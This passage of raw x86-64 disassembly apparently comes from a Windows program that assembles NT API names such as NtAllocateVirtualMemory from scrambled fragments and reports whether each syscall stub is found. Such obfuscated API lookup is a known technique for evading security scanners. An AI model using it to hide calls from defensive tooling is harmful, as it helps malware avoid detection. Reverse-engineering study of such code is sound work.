lea rax, [rbp + 0x18e0]
mov rcx, qword [rbp + 0x2d20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x406329
lea rsi, [0x0081ae14]
jmp 0x406330
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x1b0f]
lea rax, [rbp + 0x1ae0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x1ac0]
lea rdx, [rbp + 0x1ae0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1aa0]
lea rdx, [rbp + 0x1ac0]
lea r8, [0x0081ae54]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x0081adfa]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x0081ae5a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1900]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1b0f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1b10]
mov rcx, qword [rbp + 0x2d18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x4066b8
lea rsi, [0x0081ae14]
jmp 0x4066bf
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x1d9f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x1d9f]
lea rax, [rbp + 0x1d70]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x0081adfa]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x0081ae42]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1b30]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1d9f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1da0]
mov rcx, qword [rbp + 0x2d10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x406acb
lea rsi, [0x0081ae14]
jmp 0x406ad2
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x200f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x200f]
lea rax, [rbp + 0x1fe0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x0081ae5c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x0081ae36]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x0081ae40]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1dc0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x200f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x2010]
mov rcx, qword [rbp + 0x2d08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x406eb2
lea rsi, [0x0081ae14]
jmp 0x406eb9
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x227f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x227f]
lea rax, [rbp + 0x2250]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x0081ae48]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x0081ae36]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x0081ae40]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x2030]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x227f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x2280]
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x407299
lea rsi, [0x0081ae14]
jmp 0x4072a0
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x24af]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x24af]
lea rax, [rbp + 0x2480]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x2460]
lea rdx, [rbp + 0x2480]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2440]
lea rdx, [rbp + 0x2460]
lea r8, [0x0081ae5e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x0081ae3e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x0081ae40]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x22a0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x24af]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x24b0]
mov rcx, qword [rbp + 0x2cf8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x407628
lea rsi, [0x0081ae14]
jmp 0x40762f
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x267f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x267f]
lea rax, [rbp + 0x2650]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x0081ae4e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x0081ae5a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x0081ae48]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x24d0]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x267f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x2680]
mov rcx, qword [rbp + 0x2cf0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x2680]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x407933
lea rsi, [0x0081ae14]
jmp 0x40793a
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x28ef]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x28ef]
lea rax, [rbp + 0x28c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x0081ae0e]
mov rcx, rax
